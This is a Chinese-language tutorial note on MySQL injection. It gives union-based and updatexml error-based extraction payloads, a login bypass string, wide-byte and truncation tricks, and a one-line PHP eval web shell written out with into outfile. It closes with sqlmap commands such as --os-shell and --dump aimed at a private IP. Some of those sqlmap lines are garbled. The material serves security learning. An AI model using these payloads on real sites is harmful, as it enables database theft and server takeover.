MySQL注入
常见的挖掘位置
get
在url中修改参数,asp/aspx脚本占多
post
搜索框、登录、注册、修改资料、留言、请求头、client-ip、x-forwarded-for、referrer。这类可以通过单引号来测,post形式的注入一般用单引号进行闭合的
MySQL常规操作
一般搭载的脚本:
windows/linux apache + php
MySQL自带库:
information schema、mysql、performance schema
服务端口:
3306
网页版客服端phpmyadmin,可以尝试爆破,虽然MySQL默认不对外开放root,但phpmyadmin走的是localhost
可以使用root,爆破工具
常用的sql命令
- 查看数据库:
show databases;
- 创建数据库:
create database aaa;
- 删除数据库:
drop database aaa;
- 使用数据库:
use aaa;
- 查看表:
show tables;
- 创建表:
create tables 表名 (列名1 数据类型1,列名2,数据类型2······);
- 插入数据:
insert into admin (id,username,password) values (1,'user','pass');
也可以指定列插数据:
insert into admin (username,password) values ('user','pass');
插入多行数据,用逗号分隔开:
insert into admin (id,username,password) values (1,'user','pass'),(2,'user2','pass2');
对密码进行md5加密:
insert into admin (id,username,password) values (1,'user',md5('pass'));
- 查询数据:
select * from 表名 where 条件;
- 更新数据:
update admin set password=123456 where username='user';
更新admin下用户名为user的用户把密码改为123456 - 删除数据:
delete from admin where id=2;
删除admin表下id=2的数据
注意:执行命令要在结尾加分号
MySQL函数
system_user()
:系统用户名user()
:用户名database()
:数据库名version()
:mysql数据库版本load_file()
:转换成16进制或10进制mysql读取本地文件的函数@@basedir
:mysql安装路径(由于MySQL与apache同级,所以可能与之在同一个目录下,找到apache的安装目录后,再找到apache配置文件conf/httpd.conf,从中找到网站根目录,从而写一句话getshell)@@datadir
:读取数据库路径load_file()
:读取文件
用selec调用 如:select user()
相关函数
mid()
:从文本字段中提取字符,即截取数据信息
格式:select mid(column_name,start[length]) from table_name;
limit()
:返回前几条或中间某几行数据,即控制查几行数据
格式:select * from table limit m,n;
m表示从第几条数据开始,n表示取几条count()
:计数rand()
:用于产生一个0-1的随机数floor()
:向下取整substr()
:截取字符串
参数:截取的字符串,截取的位置,截取的长度ascii()
:返回字符串的ascii码
MySQL注释
绕过waf可能会用到
- 注释符:#,--,/**/
- 内联注释:/*!union*/,
加入!表示非注释,同样可以执行,在!后随意加入其他字符也可以执行
MySQL注入原理
常见的注入类型
- union联合查询
1.order by
判断列数
2.union select 1,2,3,4,5,6,7
3.如果页面返回正常需要让union之前的语句报错,如将id=1改成id=-1或者id =1 and 1 = 2
4.先查看数据库版本version()
查看版本的原因是要借助infomation_schema数据库来查询信息,而低于5.0版本的mysql没有这个数据库,所以要先查版本
5.user()
列出网站所连接数据库所使用的账号,database()
列出当前网站使用的数据库名称
6.列表名:
union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()
这里database()可能会被waf拦截,但由于直接使用库名是要用单引号引用起来的,这样单引号会被转义,所以可以将库名转换成16进制,就不需要用单引号了。
7.列出所有表名:
union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()
将所有结果当做一个结果显示
8.列列名:
union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='manage_user'
通过information_schema数据库查询manage_user表下的列名,把所有结果作为一个结果显示
9.爆数据:
union select 1,group_concat(m_name,m_pwd),3,4,5,6,7 from manage_user
- error(显错注入)
- 多语句
- 布尔盲注
- 时间盲注
绕过防注入代码
将注入语句被替换为空时可以尝试将关键字双写、大小写、用%00截断
MySQL显错注入
显错注入
出现这种一般存在显错注入,sql语句被干扰出现问题,显示错误信息
函数:floor()
,extractvalue()
,updatexml()
,geometrycollection()
,multipoint()
,polygon()
,multipolygon()
,linestring()
,multilinestring()
,exp()
前三种常用
1.'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
在 user() 处更改函数查询数据,0x7e表示 ~, 因为 ~ 并不是 xml 格式的语法,会报错,但是会显示无法识别的内容
有时会存在多个显错查询语句,变换使用;有时会限制使用,挨个尝试,具体情况具体分析
2.查看当前数据库名:
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
3.查看数据库:
利用 limit 查询逐个数据库:'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
查询全部数据库:'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+
4.列表名:
'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+
5.列列名:
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='表名' limit 0,1),0x7e),1)--+
6.爆数据
'and updatexml(1,concat(0x7e,(select 列名 from 表名),0x7e),1)--+
注意:updatexml()所能查询的数据最大长度为32,而md5密文一般也为32位,但是由于有占位符~,导致无法显示完全,所以需要进行截取:'and updatexml(1,concat(0x7e,(select mid(password,31,2) from user limit 0,1),0x7e),1)--+
爆出的数据password从31位开始取,取2位,这样就可以看到溢出的位数了。
可能遇到的问题:在字符列爆数据无法爆出,此时可以将要爆的列名比如password,在语句中使用函数 hex(password),让它以16进制形式输出,这样能够得到password为16进制的数字,最后对其首部加上0x进行解码即可。
后台绕过
登录框输入 admin' #
或admin' or 1=1 #
('将前面单引号闭合,or 1=1 让系统判断条件为真,#注释掉后面单引号)但要借助用户名,要用户名存在才行
MySQL长字节截断攻击
条件:
管理员和普通用户在一个表中
用户名字段长度有一定限制比如长度为10个字符
普通用户在注册名称的时候可以吧用户名设置为Admin++++++++++,使其长度超过字段限制的长度,会自动截断,变成admin
这样相当于增加了个admin管理员账号密码
(+在数据库中相当于空格)
这样就可以在前台绕过登录
MySQL宽字节注入
php5.3.0起被废弃,5.4.0起被移除
当打开时,所有的单引号',双引号",反斜杠\,和null字符前面都会加一个\进行转义,所以再用 ' 进行判断会没有反应
解决:在单引号前加%bf或%df把 \ 挤掉,不让它进行转义,post提交会在提交前把特殊符号进行转义会把%变成%25,所以要在burp抓包修改回%再提交
过不了的情况:脚本编码 utf-8编码不行,得gbk编码
用sqlmap绕过魔术引号:--risk 3 --dbms=mysql -p username --tamper
调用的插件 unmagicquotes.py
效果是在你所有语句前加撒谎给你%bf或%db,来进行宽字节绕过
MySQL读写文件操作
读文件
1.获取网站根目录
方法:
- 报错显示
- 谷歌黑客
- site:目标网站 warning
- 遗留文件 phpinfo info test php
- 漏洞爆路径
- 读取配置文件
2.使用load file()
函数
该函数是用来读取源文件的函数,只能读取绝对路径的网页文件,在使用load file()
时应先找到网站绝对路径
例如:
d:/www/xx/index.php/usr/src/apache/htdoc/index.php
注意:
1.路径符号""错误"\"正确"/"正确
2.转换十六进制数,就不要"
如果有魔术引号,就把路径转化为16进制,就不需要'了
写文件
拿到shell的条件:
1.根目录
2.root权限
3.魔术引号关闭
4.windows系统
iis6.0(03):c:/windows/system32/inetsrv/metabase.xml
记录着所有网站域名以及根目录的对应信息,可以先读,这样可以找到对应网站根目录,在对它写入shell
into outfile 函数
and 1=2 union select 1,"<?php @eval($_POST['c']);?>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/c.txt'
如果单引号被转义,没法转16进制,只能读
魔术引号php5.2.17会默认开启,php5.3.0后会默认关闭
5.2.17因为有魔术引号,就算拿到shell也连不上菜刀,可以用过狗狗菜刀
注入工具
穿山甲,萝卜头,sqlmap等
sqlmap
先判断是否是管理员
sqlmap -u "http://192.168.80.105:8006/showproducts.php?id=13" --is-dba
如果是管理员
sqlmap -u "http://192.168.80.105:8006/showproducts.php?id=13"--os-shell
调用系统命令
指定网站根目录路径,1是用sqlmap默认路径,2是自行指定路径
然后sqlmap会自动上传两个后门文件
第一个是可以上传任意文件的后面
第二个是一句话,执行system()命令的
这条语句可以让你执行sql查询语句(需要root)
sqlmap -u "http://192.168.80.105:8006/showproducts.php?id=13"--sql-shell
爆数据方法:
查看数据库
sqlmap -u "http://192.168.80.105:8006/showproducts.php?id=13" --current -db
指定库列表
sqlmap -u "http://192.168.80.105:8006/showproducts.php?id=13" -D xycms --tables
统计表列数找管理员表,一般猜列数最少的
sqlmap -u "http://192.16880,105:8006/showproducts ,php?id=13" xycms --tables --count
如果表多,用-C指定列猜密码
sqlmap-U"http://192.168.80.105:8006/showproducts.php?id=13" -D xycms --tables --search -C pass
也可以直接列表中所有数据
salmap-u "http://192 .168 80.105:8006/showproductsphp?id=13! -D xvcms -T manage_user --dump
-D:指定库
-T:指定表
-C:指定列